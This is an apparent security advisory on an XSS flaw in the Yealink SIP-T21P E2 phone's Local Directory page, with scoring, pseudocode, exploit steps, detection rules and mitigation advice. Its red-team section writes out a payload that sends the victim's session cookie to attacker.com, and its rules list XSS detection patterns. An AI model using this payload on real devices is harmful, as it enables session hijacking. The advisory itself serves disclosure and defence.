CVE-2025-14228

Executive Summary

CVE-2025-14228 is a publicly disclosed, unpatched Cross-Site Scripting (XSS) vulnerability affecting the Yealink SIP-T21P E2 IP phone running firmware version 52.84.0.15. The vulnerability resides in the Local Directory Page component, allowing an unauthenticated remote attacker to inject arbitrary JavaScript into the web interface. The vendor (Yealink) has been notified but did not respond, and the product is end-of-life, meaning no official patch will be released. The EPSS score is 0.0%, indicating low active exploitation in the wild, but the public availability of exploit code increases the risk for targeted attacks.

This is a hardware/embedded device vulnerability, not related to any package ecosystem (NPM, PyPI, Go, Ruby). The attack vector is remote, requiring user interaction (e.g., clicking a crafted link or visiting a malicious page while authenticated to the phone's web interface).

CVSS Breakdown & Threat Level

• CVSS Score: 3.5 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the XSS.
• User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): None (N) – No data exfiltration directly.
• Integrity (I): Low (L) – Attacker can modify content within the victim's browser session.
• Availability (A): None (N) – No denial of service.

Threat Level: Low (CVSS 3.5). However, due to the lack of a patch and public exploit, the risk is elevated for organizations still using this end-of-life device. The XSS can be used to steal session cookies, perform actions on behalf of the victim, or deface the web interface.

Deep Dive & Mechanics

The vulnerability is a classic stored or reflected Cross-Site Scripting (XSS) in the Local Directory Page of the Yealink SIP-T21P E2 web interface. The Local Directory feature allows users to manage contacts. The input fields (e.g., contact name, phone number) are not properly sanitized before being rendered in the HTML page.

Attack Flow:

1. An attacker crafts a malicious payload, e.g., <script>alert('XSS')</script>, and injects it into a contact name field via the web interface.
2. When an administrator or user views the Local Directory page, the payload executes in their browser.
3. The attacker can then steal session cookies, redirect the user to a phishing page, or perform actions like modifying SIP settings.

Root Cause: Lack of input validation and output encoding in the web server's handling of directory entries. The firmware uses a lightweight HTTP server that does not sanitize user-supplied data before rendering it in HTML.

Vulnerable vs. Patched Code

Since no patch exists, we can only analyze the vulnerable code pattern. The vulnerable firmware likely uses a CGI script or embedded web server that directly echoes user input into the HTML response.

Vulnerable Code (Conceptual):

// Pseudocode for vulnerable CGI handler
void handle_directory_add() {
    char name[256];
    get_parameter("name", name);
    printf("<tr><td>%s</td></tr>", name); // No sanitization
}

Patched Code (Hypothetical):

// Pseudocode for patched handler
void handle_directory_add() {
    char name[256];
    get_parameter("name", name);
    char safe_name[512];
    html_escape(name, safe_name, sizeof(safe_name)); // Sanitize
    printf("<tr><td>%s</td></tr>", safe_name);
}

The fix would involve HTML entity encoding (e.g., < to <, > to >) before outputting user data.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Yealink SIP-T21P E2 with firmware 52.84.0.15.
• Network access to the phone's web interface (default port 80).
• A victim user who will view the Local Directory page.

Exploit Steps:

1. Access the phone's web interface (e.g., http://<phone-ip>).
2. Navigate to Directory > Local Directory.
3. Add a new contact with a malicious payload in the Name field:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the contact.
5. When an administrator views the Local Directory page, the script executes, sending the session cookie to the attacker's server.

Alternative (Reflected XSS): If the vulnerability is reflected, craft a URL like:

http://<phone-ip>/cgi-bin/directory?name=<script>alert(1)</script>

and send it to the victim.

Blue Team

Detection:

• Monitor web logs for unusual characters in the name parameter (e.g., <script>, onerror=, javascript:).
• Use a WAF to block XSS payloads in HTTP requests to the phone's web interface.
• Restrict network access to the phone's web interface to trusted IPs only.

Mitigation:

• Replace the device with a supported model.
• If replacement is not possible, disable the web interface or restrict access via firewall rules.
• Implement a reverse proxy with XSS filtering in front of the phone.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to the phone's web interface containing <script> tags in the name parameter.
  • Outbound connections from the phone to an attacker-controlled server (e.g., attacker.com).
• Host:
  • Unexpected JavaScript code in the Local Directory page source.
  • Modified contact entries containing script tags.
• Logs:
  • Web server logs showing GET /cgi-bin/directory?name=<script>... or similar patterns.

Detection Engineering

YARA Rule

rule CVE_2025_14228_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Yealink SIP-T21P E2 Local Directory"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-14228"
    strings:
        $xss1 = "<script>" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "javascript:" ascii wide nocase
        $xss4 = "onload=" ascii wide nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Yealink SIP-T21P E2 XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS payloads in HTTP requests to Yealink SIP-T21P E2 web interface
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'javascript:'
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in directory names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14228 Yealink SIP-T21P E2 XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/cgi-bin/directory"; http_uri; content:"<script>"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Replace the device: The Yealink SIP-T21P E2 is end-of-life. Migrate to a supported model (e.g., Yealink SIP-T31P or newer).
2. Disable web interface: If replacement is not possible, disable the web interface via the phone's configuration menu or by blocking port 80/443 at the network level.
3. Restrict access: Use firewall rules to allow only trusted IPs to access the phone's web interface.

Long-term:

• Implement a vendor patch management process to ensure devices are updated before reaching end-of-life.
• Conduct regular security assessments of network devices.
• Use network segmentation to isolate VoIP devices from critical systems.

Workaround:

• If the web interface must remain enabled, deploy a reverse proxy (e.g., Nginx) with XSS filtering rules to sanitize input before it reaches the phone.

Valters IT